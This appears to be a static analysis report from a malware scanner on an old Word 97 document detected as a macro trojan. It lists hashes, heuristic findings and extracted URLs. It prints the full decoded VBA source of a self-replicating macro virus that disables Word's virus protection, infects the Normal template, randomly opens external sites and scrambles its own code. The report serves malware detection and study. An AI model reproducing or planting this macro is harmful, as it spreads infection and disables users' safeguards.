Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dad4a85468e58b73…

MALICIOUS

Office (OLE)

33.0 KB Created: 1998-11-16 07:10:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e79bd0d76ad9bd509f0242202b0c3172 SHA-1: 6d24bf48f18a6c9dfba0c96e7fe8ab1bde5c224f SHA-256: dad4a85468e58b73d5e6818b645e3acf4cc5ed1477cbc8b5be1b194b67ce2aa6
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains critical heuristic firings for OLE_VBA_AUTOOPEN and OLE_VBA_AUTOCLOSE, indicating the presence of malicious VBA macros designed to execute automatically. The AutoOpen macro attempts to follow hyperlinks to 'http://www.ultra.com' and 'http://www.joy.com', likely to download and execute a second-stage payload. The ClamAV detection further confirms the malicious nature of the file.

Heuristics 6

  • ClamAV: Doc.Trojan.Class-36 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-36
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.ultra.com� In document text (OLE body)
    • http://www.joy.com�In document text (OLE body)
    • http://www.ultra.comIn document text (OLE body)
    • http://www.joy.comIn document text (OLE body)
    • http://www.pgp.com/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15331 bytes
SHA-256: be24e9dd4b5e40528b002cf4aff99aaf553410bea0907588caf804272b514e6b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

Dim rsx, rox, xix As Integer: Dim cix, xic, eox, xoe, oxe, cii, rxe, rex, exr, nix, ixn, nxi, lnr, nrl, rnl As String: Randomize

On Error GoTo 85

Options.VirusProtection = False

Options.SaveNormalPrompt = False

Options.ConfirmConversions = False

rt = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.countoflines

dt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines

If dt > 0 And rt > 0 Then GoTo 85

If dt = 0 Then

    Set Joy = NormalTemplate.VBProject.VBComponents

    Set hst = ActiveDocument.VBProject.VBComponents

    lx = Int(Rnd(1) * 100) + 1

    If lx = 99 Then ActiveWindow.WindowState = wdWindowStateMinimize: ActiveDocument.FollowHyperlink Address:="http://www.ultra.com", NewWindow:=False, AddHistory:=False, ExtraInfo:=Chr(74) + Chr(111) + Chr(121)

    lr = Int(Rnd(1) * 75) + 1

    If lr = 74 Then ActiveWindow.WindowState = wdWindowStateMinimize: ActiveDocument.FollowHyperlink Address:="http://www.joy.com", NewWindow:=False, AddHistory:=False, ExtraInfo:=Chr(74) + Chr(111) + Chr(121)

    ls = Int(Rnd(1) * 50) + 1

    If ls = 49 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83) + Chr(32) + Chr(83) + Chr(65) + Chr(89) + Chr(83) + Chr(32) + Chr(72) + Chr(73)

    lt = Int(Rnd(1) * 25) + 1

    If lt = 24 Then MsgBox Chr(32) + Chr(32) + Chr(67) + Chr(76) + Chr(65) + Chr(83) + Chr(83) + Chr(32) + Chr(85) + Chr(76) + Chr(84) + Chr(82) + Chr(65) + Chr(32) + Chr(74) + Chr(111) + Chr(121), vbCritical

    hst.Item(1).Name = Joy.Item(1).Name

    hst.Item(1).Export Application.StartupPath & Chr(74) + Chr(111) + Chr(121)
    
End If

If rt = 0 Then Set Joy = ActiveDocument.VBProject.VBComponents

Joy.Item(1).codemodule.AddFromFile Application.StartupPath & Chr(74) + Chr(111) + Chr(121)

With Joy.Item(1).codemodule

    For j = 1 To 4

    .deletelines 1

    Next j

    End With

If dt = 0 Then Joy.Item(1).codemodule.replaceline 1, "Sub AutoClose()"

If dt = 0 Then Joy.Item(1).codemodule.replaceline 91, "Sub ToolsMarco()"

If dt = 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

With Joy.Item(1).codemodule

    For j = 2 To Joy.Item(1).codemodule.countoflines Step 2

    rsx = Int(Rnd(11) * 2998) + 24: rox = Int(Rnd(15) * 5863) + 33: xix = Int(Rnd(44) * 3544) + 55

    cii = Asc(rsx): eox = Chr$(cii + 2): xoe = Chr$(cii - 9): oxe = Chr$(cii + 10): lnr = Chr$(cii - 4)

    cix = Asc(rox): rxe = Chr$(cix + 4): rex = Chr$(cix - 11): exr = Chr$(cix + 16): nrl = Chr$(cix - 17)

    xic = Asc(xix): nix = Chr$(xic + 6): ixn = Chr$(xic - 14): nxi = Chr$(xic + 22): rnl = Chr$(xic - 33)

    .replaceline j, "'" & lnr & nrl & rnl & nix & xoe & rxe & nix & xoe & rex & ixn & oxe & exr & nxi & eox & lnr & nrl & rnl & nix & xoe & xoe & rxe & nxi & eox & oxe & exr & nxi & eox & lnr & ixn & oxe & exr & nxi & eox & lnr & nix & xoe & rex & ixn & oxe & exr & nxi & eox & lnr & nrl & rnl & nix & xoe & xoe & rxe & nxi & eox & oxe & exr & nxi & eox & lnr & ixn & oxe & exr & nxi & eox & lnr

Next j

End With

85:

If dt <> 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

Sub ViewVBCode() 'WM97/Ultra.Joy by Virus :) Smile

End Sub






' Processing file: /opt/analyzer/scan_staging/469a1b8b5a7e4ac8ac919669e8672db6.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6836 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' 	Dim 
' 	VarDefn rsx
' 	VarDefn rox
' 	VarDefn xix (As Integer)
' 	BoS 0x0000 
' 	Dim 
' 	VarDefn cix
' 	VarDefn xic
' 	VarDefn eox
' 	VarDefn xoe
' 	VarDefn oxe
' 	VarDefn cii
' 	VarDefn rxe
' 	VarDefn rex
' 	V
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.